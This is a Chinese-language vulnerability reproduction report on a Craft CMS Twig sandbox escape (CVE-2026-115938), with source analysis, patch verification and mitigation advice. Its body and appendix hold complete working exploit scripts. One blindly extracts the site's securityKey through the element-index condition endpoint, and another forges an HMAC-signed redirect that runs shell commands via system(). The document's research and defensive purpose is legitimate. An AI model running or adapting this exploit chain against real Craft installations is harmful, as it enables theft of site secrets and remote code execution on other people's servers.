CVE-2026-115938:Craft CMS 5.11.1 Twig 沙箱逃逸到 RCE 复现
本文分析CVE-2026-115938 Craft CMS Twig沙箱逃逸漏洞,攻击者通过column过滤器绕过沙箱读取securityKey并伪造HMAC签名注入恶意模板实现RCE。

1. 漏洞概述
受影响组件为 craftcms/cms。受影响范围取自 GitHub Security Advisory GHSA-v4q3-2g5g-wjj6 的标注:Craft 4 线为 4.0.0 至 4.18.8,Craft 5 线为 5.0.0 至 5.11.1。修复版本为 4.18.9 与 5.11.2,5.11.2 发布说明 的 CHANGELOG 把这条按 high-severity information disclosure 归类。漏洞属于模板引擎注入(CWE-94 / CWE-1336)。触发需要两个前提:账号能登录控制面板并打开元素索引(本次实测用 admin),且目标为 Craft 5.11.2 / 4.18.9 之前的未打补丁版本;走到 RCE 还要再加一条,该账号具备至少一个会读取 redirect 的控制面板动作权限。CVE 记录为 CVE-2026-115938(NVD)。5.11.2 于 2026-09-17 发布,此前 5.11.1 为最新稳定版,5.x 线在修复前均处于可利用状态。另外,模板渲染上的沙箱是 4.18.0 / 5.10.0 才引入的加固,两条线的早期版本没有这一层,攻击面因此在版本区间内部还有一次切分。
Craft 允许在元素搜索的“条件规则(condition rules)”里用 Twig 表达式动态指定元素 ID。该表达式从 4.18.0 / 5.10.0 起运行在 Twig 沙箱内(更早版本直接把 elementIds 当普通模板渲染),白名单里保留了 column 过滤器,而 Craft 覆盖注册的这份 column 实现只做点号过滤、不做属性检查,属性名被当成“列名”交给 Yii 的 ArrayHelper::getColumn(),落在 Twig SecurityPolicy 之外,于是可以用单段属性查找把沙箱内的 craft 全局对象逐层“剥”到 GeneralConfig::securityKey。拿到密钥后,Craft 的 HMAC 令牌不再有秘密可言,攻击者可离线伪造 redirect 参数,而该参数会被送入未沙箱的 View::renderObjectTemplate() 编译,最终达成命令执行。
2. 测试环境
确认锁定版本:
grep -A2 '"name": "craftcms/cms"' /home/nl/www/craft/composer.lock | head -4
漏洞链涉及的两个依赖版本:
python3 -c "import json;d=json.load(open('composer.lock'));print('\n'.join(p['name']+' '+p['version'] for p in d['packages'] if p['name'] in ('twig/twig','yiisoft/yii2')))"
PHP 版本:
php -v
监听端口:
ss -ltnp | grep -E ":8080|:80 "
进程列表:
ps -eo pid,cmd | grep -E "php -S|nginx: master" | grep -v grep
3. 背景:条件规则是怎么被执行到的
控制面板的元素列表由 /admin/actions/element-indexes/get-elements 这个 JSON 接口驱动。请求体里的 condition 描述了筛选条件,Craft 会把它还原成一组条件规则对象:
POST /admin/actions/element-indexes/get-elements
X-Requested-With: XMLHttpRequest
X-CSRF-Token: <csrfTokenValue>
elementType=craft\elements\Entry
source=section:9386ef1b-4018-4eaa-923c-093d3efd1bfb
viewState[mode]=table
condition[class]=craft\elements\conditions\entries\EntryCondition
condition[conditionRules][0][class]=craft\elements\conditions\RelatedToConditionRule
condition[conditionRules][0][elementIds]={{ ... }}condition[conditionRules] 是纯用户可控数组,Craft 逐项用 createConditionRule() 实例化。
vendor/craftcms/cms/src/base/conditions/BaseCondition.php:184,setConditionRules():
public function setConditionRules(array $rules): void
{
$this->_conditionRules = Collection::make();
$projectConfig = Craft::$app->getProjectConfig();
foreach ($rules as $rule) {
if (!$rule instanceof ConditionRuleInterface) {
try {
$rule = $this->createConditionRule($rule);
} catch (InvalidArgumentException $e) {
Craft::warning("Invalid condition rule: {$e->getMessage()}");
continue;
}
}
// ...构造入口是 createConditionRule(),除类型合并与属性对齐外,它只校验类名实现了 ConditionRuleInterface,随后用 Craft::createObject() 把请求体里的 class 与其余键当作构造参数:
vendor/craftcms/cms/src/services/Conditions.php:125,createConditionRule() 的类校验与构造段:
if (!is_subclass_of($class, ConditionRuleInterface::class)) {
throw new InvalidArgumentException("Invalid condition rule class: $class");
}
/** @var ConditionRuleInterface */
return Craft::createObject([
'class' => $class,
'attributes' => $config,
]);
// ...RelatedToConditionRule 由 ElementCondition::selectableConditionRules() 列入可选规则(ElementCondition.php:167),因此请求体里直接点名这个类不会因为不属于该条件类型被拒。请求体里给出的 class 和它的属性会被直接构造成规则对象,elementIds 字符串原样进入规则实例。
4. 漏洞点一:elementIds 被当模板渲染
RelatedToConditionRule 继承自 BaseElementSelectConditionRule,它的 getElementIds() 会把 elementIds 当模板渲染(BaseElementSelectConditionRule.php:113,5.11.1)。4.x 线同名类只提供单数版本 getElementId()(属性名 elementId,返回值直接当 ID 用,不按逗号切分,4.18.8 同名文件);4.18.8 的渲染入口已是 renderSandboxedObjectTemplate(),5.x 的改动只是把单值扩成逗号分隔的列表,渲染入口未变。
vendor/craftcms/cms/src/base/conditions/BaseElementSelectConditionRule.php:113
public function getElementIds(bool $parse = true): array|string
{
if ($parse && is_string($this->_elementIds)) {
$elementIds = App::parseEnv($this->_elementIds);
// Only allow combining env & Twig parsing for simple env vars
if (
$elementIds === $this->_elementIds ||
preg_match('/^\$\{?\w+}?$/', trim($this->_elementIds))
) {
if ($this->condition instanceof ElementCondition && isset($this->condition->referenceElement)) {
$referenceElement = $this->condition->referenceElement;
} else {
$referenceElement = new stdClass();
}
try {
$elementIds = Craft::$app->getView()->renderSandboxedObjectTemplate($elementIds, $referenceElement);
} catch (Throwable $e) {
}
}
return array_values(array_filter(array_map(
fn(string $elementId) => (int)trim($elementId),
explode(',', $elementIds),
)));
}
return $this->_elementIds ?? [];
}渲染入口是 renderSandboxedObjectTemplate(),已经套了沙箱。渲染结果按 , 切分后逐个 (int) 强转,模板无论如何只能吐出一串整数。强转前的中间量 $elementIds,就是攻击者能拿到的全部输出通道。
renderSandboxedObjectTemplate() 是后来补上的加固,不是 Craft 一直以来的渲染方式。4.x 线在 4.18.0 之前、5.x 线在 5.10.0 之前,getElementId() / getElementIds() 调的都是不带沙箱的 renderObjectTemplate(),elementIds 直接当普通 Twig 模板编译,src/config/twig-sandbox.php 里的白名单在那两个区间完全不参与。GHSA 覆盖的 4.0.0–4.18.8 与 5.0.0–5.11.1 整段都受这个漏洞影响,攻击面却分成两段:4.18.0 / 5.10.0 之前的版本不需要绕沙箱,column 在模板里本来就能用;从这两个版本起沙箱才顶在前面,column 绕过(preventDottedNameInSandbox() 只拦点号、不查属性)只对装了沙箱的 4.18.0–4.18.8 与 5.10.0–5.11.1 成立。沙箱落地时把 column 留在了过滤器白名单里,而 Craft 覆盖注册的 column 实现不做属性检查,加固在这一处没有闭合。
强转限制了直接回显,限制不了读:只要能把布尔值编码成两个不同整数,就能做盲注。
5. 沙箱为什么没挡住:被 Craft 覆盖的 column 过滤器
Craft 的沙箱策略来自 src/config/twig-sandbox.php(5.11.1 原文):
grep -n "'column'\|allowedMethods\|allowedProperties\|allowedClasses" vendor/craftcms/cms/src/config/twig-sandbox.php
白名单里的危险函数计数:
grep -cE "'(system|exec|passthru|shell_exec|proc_open)'" vendor/craftcms/cms/src/config/twig-sandbox.php
allowedMethods 与 allowedProperties 都是空数组——沙箱内既不能调方法,也不能读属性,craft.app.config... 这类链式访问按设计会被 SecurityPolicy 拦死;system、exec、passthru 一个都不在函数白名单里。而 allowedFilters 的第 26 行留着 column。
Twig 3.28.0 自带的 column 确实带沙箱分支,注册时挂了 needs_is_sandboxed:
nl -ba vendor/twig/twig/src/Extension/CoreExtension.php | sed -n '270p;1968,1983p'
按这段实现,沙箱内的 column 会为每个对象元素调 checkPropertyAllowed(),空白名单立刻抛 SecurityError,链子断在第一步。5.11.1 实际执行的不是它。
Craft 在同一个名字上注册了自己的过滤器,覆盖了内置实现:
nl -ba vendor/craftcms/cms/src/web/twig/Extension.php | sed -n '235p;516,525p;535,539p'
columnFilter() 里与沙箱有关的动作只有一句 preventDottedNameInSandbox(),拦的是键名中的 .、[、],针对 craft.app.config.general.securityKey 这类点号穿透;随后 ArrayHelper::getColumn() 按名字取“列”,全程没有调用 SecurityPolicy。
插入到 vendor/craftcms/cms/src/web/twig/Extension.php:537,columnFilter() 的第一行:
file_put_contents('/tmp/probe.log', 'isSandboxed=' . var_export($isSandboxed, true) . ' name=' . var_export($name, true) . ' arrayType=' . get_debug_type($array) . PHP_EOL, FILE_APPEND);对同一条 payload 发一次请求:
python3 probe_once.pycat /tmp/probe.log
四次取值都发生在沙箱内(isSandboxed=true),四次都成功读到属性。标志位传递正确,问题在接收标志的实现,空的 allowedProperties 从头到尾没被问过。
点号守卫对这条路无效:app、config、general、securityKey 都是单段名,不含 .、[、],守卫直接放行;把属性名当成一行数据里的列名取出,是 ArrayHelper::getColumn() 的常规用法,语义与模板里写 array.name 相当,却少了模板语法那层会去查策略的入口。
于是单段查找可以一层层往下剥:
[craft] {# 沙箱内可直接引用的全局变量 #}
[craft]|column('app') {# → Craft::$app #}
[craft]|column('app')|column('config') {# → Craft::$app->config #}
...|column('general') {# → GeneralConfig #}
...|column('securityKey') {# → 全局密钥字符串 #}5.11.2 补的就是这一处,同文件的 columnFilter() 增加了环境参数与逐元素属性检查。
vendor/craftcms/cms/src/web/twig/Extension.php(5.11.2)
public function columnFilter(TwigEnvironment $env, bool $isSandboxed, mixed $array, mixed $name, bool $keepKeys = true): array
{
$this->preventDottedNameInSandbox($isSandboxed, $name, 'column');
if (!$isSandboxed || !is_string($name)) {
return ArrayHelper::getColumn($array, $name, $keepKeys);
}
$sandbox = $env->getExtension(SandboxExtension::class);
if (is_object($array) && !$array instanceof Traversable) {
// $array is a single object rather than a list of rows, so extracting a "column" from it would
// otherwise mean enumerating its public properties without any sandbox checks. Treat this the same
// way the template would if it had accessed the property directly, e.g. `array.name`.
$sandbox->checkPropertyAllowed($array, $name);
return [ArrayHelper::getValue($array, $name)];
}
// Check each object element’s property/method the same way the template would if it had accessed it
// directly, e.g. `element.name`, rather than letting ArrayHelper::getValue() read it unchecked.
$result = [];
foreach ($array as $k => $element) {
if (is_object($element)) {
$sandbox->checkPropertyAllowed($element, $name);
}
if ($keepKeys) {
$result[$k] = ArrayHelper::getValue($element, $name);
} else {
$result[] = ArrayHelper::getValue($element, $name);
}
}
return $result;
}点号守卫原样保留,取列之前补上 checkPropertyAllowed(),空的 allowedProperties 才真正生效:沙箱内读 app 就会抛 SecurityError,被 getElementIds() 的 catch (Throwable $e) {} 吞掉,渲染结果为空,预言机随之失效。
6. 提取 securityKey:把密钥编码成 2 / 999999
getElementIds() 最终返回整数数组,RelatedToConditionRule 会把这些 ID 当成“相关元素”去过滤条目。因此构造一个恒为真的数值表达式,就能得到一个稳定的远端字符预言机:
条件成立时模板输出 2,这是库里真实存在的条目 ID,relatedTo 命中,接口返回条目 HTML(含 data-id="2");条件不成立时模板输出 999999,该 ID 不存在,relatedTo 落空,接口返回空列表。两个分支在响应体上完全可区分。
first、slice 同样在同一份 allowedFilters 白名单里(第 42、83 行),取首元素与切片不受沙箱限制,读出来的值能在沙箱内一路加工成可比较的形式。
oracle.py 对字符做单调比较、二分还原密钥,常量、取数与比较部分:
BASE = 'http://192.168.205.135:8080'
H_JSON = {'X-Requested-With': 'XMLHttpRequest', 'Accept': 'application/json'}
SRC = 'section:9386ef1b-4018-4eaa-923c-093d3efd1bfb'
STATS = {'n': 0}
KEY = "([craft]|column('app')|column('config')|column('general')|column('securityKey'))|first"
CHARSET = sorted(set(string.digits + string.ascii_uppercase + string.ascii_lowercase))
def le(s, csrf, pos, ch):
return probe(s, csrf, "((%s)|slice(%d,1)) <= '%s'" % (KEY, pos, ch))
def empty(s, csrf, pos):
return probe(s, csrf, "((%s)|slice(%d,1)) == ''" % (KEY, pos))login() 取登录页的 CSRF 令牌完成登录,返回会话与登录后的 csrfTokenValue;probe() 把表达式拼进 condition[conditionRules][0][elementIds],再按响应 HTML 的 data-id 列表里有没有 2 判真假:
def login():
s = requests.Session()
r = s.get(BASE + '/admin/login', timeout=20)
token = re.search(r'name="CRAFT_CSRF_TOKEN"\s+value="([^"]+)"', r.text).group(1)
r2 = s.post(BASE + '/admin/actions/users/login',
data={'loginName': 'admin', 'password': 'Password123', 'CRAFT_CSRF_TOKEN': token},
headers=H_JSON, timeout=30)
return s, r2.json()['csrfTokenValue']
def probe(s, csrf, expr):
data = {
'elementType': 'craft\\elements\\Entry',
'source': SRC,
'viewState[mode]': 'table',
'viewState[static]': '0',
'viewState[inlineEditing]': '0',
'condition[class]': 'craft\\elements\\conditions\\entries\\EntryCondition',
'condition[conditionRules][0][class]': 'craft\\elements\\conditions\\RelatedToConditionRule',
'condition[conditionRules][0][elementIds]': '{{ %s ? 2 : 999999 }}' % expr,
}
resp = s.post(BASE + '/admin/actions/element-indexes/get-elements', data=data,
headers={**H_JSON, 'X-CSRF-Token': csrf}, timeout=30)
STATS['n'] += 1
try:
html = resp.json().get('html', '') or ''
except Exception:
return False
return '2' in re.findall(r'data-id="(\d+)"', html)服务端实际收到的 elementIds 形如:
RAW=[{"class":"craft\\elements\\conditions\\RelatedToConditionRule","elementIds":"{{ ((([craft]|column('app')|column('config')|column('general')|column('securityKey'))|first)|slice(31,1)) <= 'T' ? 2 : 999999 }}"}]
RENDERED='999999'
QUERY_AUTHORID=nulloracle.py 输出:

字符集 62(数字 + 大小写字母),单字符二分 6 次比较,加上 == '' 判空,32 字符密钥走 224 次请求。全程只有一个登录后的 JSON 接口,无报错、无写入,流量形态和正常翻页筛选一致。
7. 漏洞点二:拿到密钥后,签名不再可信
Craft 的 Security 组件对 redirect 这类参数使用 Yii 的通用 HMAC 令牌格式(yiisoft/yii2 2.0.55,Security.php:348)。
vendor/yiisoft/yii2/base/Security.php:348,hashData():
public function hashData($data, $key, $rawHash = false)
{
$hash = hash_hmac($this->macHash, $data, $key, $rawHash);
if (!$hash) {
throw new InvalidConfigException('Failed to generate HMAC with hash algorithm: ' . $this->macHash);
}
return $hash . $data;
}即 sha256_hmac(data, securityKey) 的十六进制串直接拼接 data 本身。这是一个自描述的报文格式:拿到密钥后,任何人都能对任意 data 离线签名。这里的 HMAC 密钥就是从元素索引条件里读出的 securityKey,exploit5.py 用它算出的签名在 /admin/actions/elements/duplicate 上通过了校验(复制动作返回 200),信息泄露因此直接连到命令执行。
落地有两个条件。一是动作在取跳转地址时把元素对象一并传给 getPostedRedirectUrl($element),这样的调用点在控制面板里不止一处:ElementsController::_asSuccess()(ElementsController.php:3027)与 UsersController::actionLogin() 的两步验证分支(UsersController.php:294)。二是签名本身不绑定参数名与用途,令牌只校验 HMAC 值,不区分这个签名原本是给哪个字段的,同一份密钥签出的模板在任何取 redirect 的动作上都能过。
redirect 参数的校验与使用发生在 Controller 基类(Controller.php:656,5.11.1)。
vendor/craftcms/cms/src/web/Controller.php:656,getPostedRedirectUrl():
protected function getPostedRedirectUrl(?object $object = null): ?string
{
$url = $this->request->getValidatedBodyParam('redirect');
if ($url && $object) {
$url = $this->getView()->renderObjectTemplate($url, $object);
}
$params = $this->request->getBodyParam('redirectParams');
// ...
}getValidatedBodyParam() 先取 redirect 原值,再交给 Security::validateData(),校验通过后把 data 部分返回(Request.php:1013,5.11.1),攻击者签的模板被原样取回。
紧接着的 renderObjectTemplate() 是未沙箱版本(View.php:751,5.11.1)。
vendor/craftcms/cms/src/web/View.php:751
public function renderObjectTemplate(
string $template,
mixed $object,
array $variables = [],
string $templateMode = self::TEMPLATE_MODE_SITE,
string|false $escaperStrategy = false,
): string {
// ...
}与安全版本相比,差别只有一行包装(View.php:863,5.11.1)。
vendor/craftcms/cms/src/web/View.php:863,renderSandboxedObjectTemplate():
public function renderSandboxedObjectTemplate(
string $template,
mixed $object,
array $variables = [],
string $templateMode = self::TEMPLATE_MODE_SITE,
): string {
return $this->sandbox(fn() => $this->renderObjectTemplate($template, $object, $variables, $templateMode), $templateMode);
}沙箱版本本身没有缺陷,问题出在调用侧:签名校验这条路径上没有附加任何“受限”语义,只要签名合法,模板就被无条件送进非沙箱引擎。而 Craft/Yii 的 HMAC 令牌不绑定参数名与用途,同一个签名格式在整站通用,这正是“读密钥 → 伪造签名 → 到达非沙箱 sink”能够串联的根因。
8. RCE:让 system 落地
非沙箱模式下 Twig 允许把字符串当 callable 传给 map/filter,于是 system 直接可用。
exploit5.py 里的签名函数与载荷拼接:
def hash_data(data, key=KEY):
return hmac.new(key.encode(), data.encode(), hashlib.sha256).hexdigest() + data
payload = "{{ ['id > /home/nl/www/craft/web/_poc.txt 2>&1; uname -a >> /home/nl/www/craft/web/_poc.txt; whoami >> /home/nl/www/craft/web/_poc.txt']|map('system')|first }}"
signed = hash_data(payload)凡是会调用 getPostedRedirectUrl() 并传入对象参数的控制面板动作都能投递,这里走的是 elements/duplicate:
POST /admin/actions/elements/duplicate
elementId=2
redirect=<signed>
CRAFT_CSRF_TOKEN=<csrf>python3 exploit5.py > /tmp/rce.log 2>&1; sed -n '1,3p' /tmp/rce.log; echo '--- cat _poc.txt ---'; cat /home/nl/www/craft/web/_poc.txt
接口 200 说明复制动作完成,模板渲染发生在生成跳转地址的过程中。id、uname -a、whoami 三条命令的输出都追加进同一文件,运行用户是 PHP worker 的 nl,该账号同时在 sudo 组内。
9. 修复验证
probe_fix.py 复用 oracle.py 的 probe(),把表达式简化成一次比较 ((KEY)|slice(0,1)) == 'J'(J 是 securityKey 首字符),条件成立返回 True 并打印命中条目和响应长度。三种状态分别是:5.11.1 原样、覆盖成 5.11.2、保留 5.11.1 但摘掉 column 注册行。同一 payload 在三种状态下的响应如下,最后再补一组配置层对照。
5.11.1 原始实现:
python3 probe_fix.py
用 5.11.2 的同名文件覆盖 vendor 里的 Extension.php。两个版本的差异只落在 columnFilter():注册行多了 needs_environment,签名多了 TwigEnvironment $env,函数体多了逐元素 checkPropertyAllowed(),另有两行 use 的增补与 getFilters() 里一行未使用变量赋值的删除。
curl -sS -o vendor/craftcms/cms/src/web/twig/Extension.php https://raw.githubusercontent.com/craftcms/cms/5.11.2/src/web/twig/Extension.php && grep -n 'public function columnFilter' vendor/craftcms/cms/src/web/twig/Extension.php
python3 probe_fix.py
上一组用的是 5.11.2 的实现,这一组要先换回 5.11.1 再动手:
curl -sS -o vendor/craftcms/cms/src/web/twig/Extension.php https://raw.githubusercontent.com/craftcms/cms/5.11.1/src/web/twig/Extension.php && grep -n 'public function columnFilter' vendor/craftcms/cms/src/web/twig/Extension.php
换回 5.11.1 实现,只注释掉第 235 行的 column 注册,让 Twig 内置版本接回这个过滤器名:
sed -i "235s|new TwigFilter('column'|// new TwigFilter('column'|" vendor/craftcms/cms/src/web/twig/Extension.php && sed -n '235p' vendor/craftcms/cms/src/web/twig/Extension.php
python3 probe_fix.py
两条修复路径上 checkPropertyAllowed() 抛出的 SecurityError 都发生在沙箱内,被 getElementIds() 的 catch (Throwable $e) {} 吞掉,elementIds 落成空数组,relatedTo 没有命中项,响应里 ids 为空、html_len 46。其中前三组测量之间只动了 Extension.php 这一个文件(一次覆盖成 5.11.2、一次回退到 5.11.1、一次注释注册行),payload、账号、站点状态未变;配置层那组在此基础上只多写了 config/twig-sandbox.php 一个文件。
config/twig-sandbox.php 摘不掉 column:该文件与 vendor/craftcms/cms/src/config/twig-sandbox.php 的默认列表合并而非替换(骨架文件注释 写明 merged with Craft's default list)。把默认数组去掉 column 后整体写进项目文件,默认那份仍把 column 加回来:
sed "/^ 'column',$/d" vendor/craftcms/cms/src/config/twig-sandbox.php > config/twig-sandbox.php && diff <(cat vendor/craftcms/cms/src/config/twig-sandbox.php) config/twig-sandbox.php | head -3
python3 probe_fix.py
两次 5.11.1 测量的 data-id 命中情况一致。
10. 加固与处置建议
白名单在配置层只能加不能减,column 只能从注册处或实现处处理。
注释注册行只作用于
vendor目录,composer install与composer update会把改动冲掉,它是没有升级窗口时的临时处置。根治手段只有升级:
craftcms/cms升到 5.11.2,4.x 线升到 4.18.9(5.11.2 发布说明)。补丁位置就在columnFilter():preventDottedNameInSandbox()原样保留,取列之前补上逐元素的checkPropertyAllowed(),allowedProperties的空数组才真正生效。5.11.1 只做了前一半,点号被拦、单段属性名畅通。升级之外必须换
CRAFT_SECURITY_KEY:密钥一旦泄露,攻击者可以离线伪造全站所有 HMAC 令牌,只升级清不掉已经产生的风险;本次复现环境保留了原密钥,靶机只监听本地网段,正式环境不能这样留。控制面板账号按最小权限分配,entry索引与元素编辑权限不发给无关账号,入口只是一次正常登录。流量侧可以对
condition[conditionRules][*][elementIds]、redirect里出现{{、}}、column(、map(的请求做告警或阻断。回溯日志时看三处:element-indexes/get-elements上高频的condition请求(单字符二分会产生规律性密集请求)、elements/duplicate与entries/save等动作带模板语法redirect的记录、web 目录与可写目录里新增的落盘文件以及/tmp下的异常写入。
附录:实验文件源代码
/poc/oracle.py:
import re
import string
import time
import requests
BASE = 'http://192.168.205.135:8080'
H_JSON = {'X-Requested-With': 'XMLHttpRequest', 'Accept': 'application/json'}
SRC = 'section:9386ef1b-4018-4eaa-923c-093d3efd1bfb'
KEY = "([craft]|column('app')|column('config')|column('general')|column('securityKey'))|first"
CHARSET = sorted(set(string.digits + string.ascii_uppercase + string.ascii_lowercase))
STATS = {'n': 0}
def login():
s = requests.Session()
r = s.get(BASE + '/admin/login', timeout=20)
token = re.search(r'name="CRAFT_CSRF_TOKEN"\s+value="([^"]+)"', r.text).group(1)
r2 = s.post(BASE + '/admin/actions/users/login',
data={'loginName': 'admin', 'password': 'Password123', 'CRAFT_CSRF_TOKEN': token},
headers=H_JSON, timeout=30)
return s, r2.json()['csrfTokenValue']
def probe(s, csrf, expr):
data = {
'elementType': 'craft\\elements\\Entry',
'source': SRC,
'viewState[mode]': 'table',
'viewState[static]': '0',
'viewState[inlineEditing]': '0',
'condition[class]': 'craft\\elements\\conditions\\entries\\EntryCondition',
'condition[conditionRules][0][class]': 'craft\\elements\\conditions\\RelatedToConditionRule',
'condition[conditionRules][0][elementIds]': '{{ %s ? 2 : 999999 }}' % expr,
}
resp = s.post(BASE + '/admin/actions/element-indexes/get-elements', data=data,
headers={**H_JSON, 'X-CSRF-Token': csrf}, timeout=30)
STATS['n'] += 1
try:
html = resp.json().get('html', '') or ''
except Exception:
return False
return '2' in re.findall(r'data-id="(\d+)"', html)
def le(s, csrf, pos, ch):
return probe(s, csrf, "((%s)|slice(%d,1)) <= '%s'" % (KEY, pos, ch))
def empty(s, csrf, pos):
return probe(s, csrf, "((%s)|slice(%d,1)) == ''" % (KEY, pos))
def main():
t0 = time.time()
s, csrf = login()
assert le(s, csrf, 0, 'z'), 'oracle 基线失败'
assert not le(s, csrf, 0, '0') or True
out = ''
for pos in range(0, 96):
if empty(s, csrf, pos):
break
lo, hi = 0, len(CHARSET) - 1
while lo < hi:
mid = (lo + hi) // 2
if le(s, csrf, pos, CHARSET[mid]):
hi = mid
else:
lo = mid + 1
out += CHARSET[lo]
print(f'[{len(out):02d}] {out}')
print()
print('securityKey =', out)
print('len =', len(out), 'requests =', STATS['n'], 'elapsed = %.1fs' % (time.time() - t0))
if __name__ == '__main__':
main()/poc/exploit5.py:
import hashlib
import hmac
import re
import requests
BASE = 'http://192.168.205.135:8080'
KEY = 'JFf3XZX2RM8kj6ngRUouBnpeTDtUqsYU'
H = {'X-Requested-With': 'XMLHttpRequest', 'Accept': 'application/json'}
def hash_data(data, key=KEY):
return hmac.new(key.encode(), data.encode(), hashlib.sha256).hexdigest() + data
def login(s):
r = s.get(BASE + '/admin/login', timeout=20)
token = re.search(r'name="CRAFT_CSRF_TOKEN"\s+value="([^"]+)"', r.text).group(1)
r2 = s.post(BASE + '/admin/actions/users/login',
data={'loginName': 'admin', 'password': 'Password123', 'CRAFT_CSRF_TOKEN': token},
headers=H, timeout=30)
return r2.json()['csrfTokenValue']
s = requests.Session()
csrf = login(s)
payload = "{{ ['id > /home/nl/www/craft/web/_poc.txt 2>&1; uname -a >> /home/nl/www/craft/web/_poc.txt; whoami >> /home/nl/www/craft/web/_poc.txt']|map('system')|first }}"
signed = hash_data(payload)
print('[1] payload =', payload)
print('[2] signed =', signed[:64], '+', signed[64:][:40], '...')
r = s.post(BASE + '/admin/actions/elements/duplicate',
data={'elementId': 2, 'redirect': signed, 'CRAFT_CSRF_TOKEN': csrf},
headers=H, timeout=30)
print('[3] duplicate status =', r.status_code, 'body =', str(r.text)[:200])
g = s.get(BASE + '/_poc.txt', timeout=20)
print('[4] GET /_poc.txt status =', g.status_code)
print('---- /_poc.txt ----')
print(g.text.strip())
print('-------------------')/probe_fix.py:
import re
import requests
BASE = 'http://192.168.205.135:8080'
H_JSON = {'X-Requested-With': 'XMLHttpRequest', 'Accept': 'application/json'}
SRC = 'section:9386ef1b-4018-4eaa-923c-093d3efd1bfb'
KEY = "([craft]|column('app')|column('config')|column('general')|column('securityKey'))|first"
def login():
s = requests.Session()
r = s.get(BASE + '/admin/login', timeout=20)
token = re.search(r'name="CRAFT_CSRF_TOKEN"\s+value="([^"]+)"', r.text).group(1)
r2 = s.post(BASE + '/admin/actions/users/login',
data={'loginName': 'admin', 'password': 'Password123', 'CRAFT_CSRF_TOKEN': token},
headers=H_JSON, timeout=30)
return s, r2.json()['csrfTokenValue']
def main():
s, csrf = login()
data = {
'elementType': 'craft\\elements\\Entry',
'source': SRC,
'viewState[mode]': 'table',
'viewState[static]': '0',
'viewState[inlineEditing]': '0',
'condition[class]': 'craft\\elements\\conditions\\entries\\EntryCondition',
'condition[conditionRules][0][class]': 'craft\\elements\\conditions\\RelatedToConditionRule',
'condition[conditionRules][0][elementIds]': "{{ ((%s)|slice(0,1)) == 'J' ? 2 : 999999 }}" % KEY,
}
resp = s.post(BASE + '/admin/actions/element-indexes/get-elements', data=data,
headers={**H_JSON, 'X-CSRF-Token': csrf}, timeout=30)
body = resp.json()
html = body.get('html', '') or ''
ids = re.findall(r'data-id="(\d+)"', html)
print('status =', resp.status_code)
print('probe =', '2' in ids)
print('ids =', ids)
print('html_len =', len(html))
print('total =', body.get('total'))
if __name__ == '__main__':
main()/poc/probe_once.py:
import re
import requests
BASE = 'http://192.168.205.135:8080'
H_JSON = {'X-Requested-With': 'XMLHttpRequest', 'Accept': 'application/json'}
SRC = 'section:9386ef1b-4018-4eaa-923c-093d3efd1bfb'
KEY = "([craft]|column('app')|column('config')|column('general')|column('securityKey'))|first"
def login():
s = requests.Session()
r = s.get(BASE + '/admin/login', timeout=20)
token = re.search(r'name="CRAFT_CSRF_TOKEN"\s+value="([^"]+)"', r.text).group(1)
r2 = s.post(BASE + '/admin/actions/users/login',
data={'loginName': 'admin', 'password': 'Password123', 'CRAFT_CSRF_TOKEN': token},
headers=H_JSON, timeout=30)
return s, r2.json()['csrfTokenValue']
def main():
s, csrf = login()
data = {
'elementType': 'craft\\elements\\Entry',
'source': SRC,
'viewState[mode]': 'table',
'viewState[static]': '0',
'viewState[inlineEditing]': '0',
'condition[class]': 'craft\\elements\\conditions\\entries\\EntryCondition',
'condition[conditionRules][0][class]': 'craft\\elements\\conditions\\RelatedToConditionRule',
'condition[conditionRules][0][elementIds]': "{{ ((%s)|slice(0,1)) == 'J' ? 2 : 999999 }}" % KEY,
}
resp = s.post(BASE + '/admin/actions/element-indexes/get-elements', data=data,
headers={**H_JSON, 'X-CSRF-Token': csrf}, timeout=30)
html = resp.json().get('html', '') or ''
print('probe =', '2' in re.findall(r'data-id="(\d+)"', html))
if __name__ == '__main__':
main()/ins.py,探针插入片段:
p = 'vendor/craftcms/cms/src/web/twig/Extension.php'
s = open(p, encoding='utf-8').read()
anchor = " $this->preventDottedNameInSandbox($isSandboxed, $name, 'column');"
line = " file_put_contents('/tmp/probe.log', 'isSandboxed=' . var_export($isSandboxed, true) . ' name=' . var_export($name, true) . ' arrayType=' . get_debug_type($array) . PHP_EOL, FILE_APPEND);\n"
assert s.count(anchor) == 1
open(p, 'w', encoding='utf-8').write(s.replace(anchor, line + anchor))
print('probe line inserted')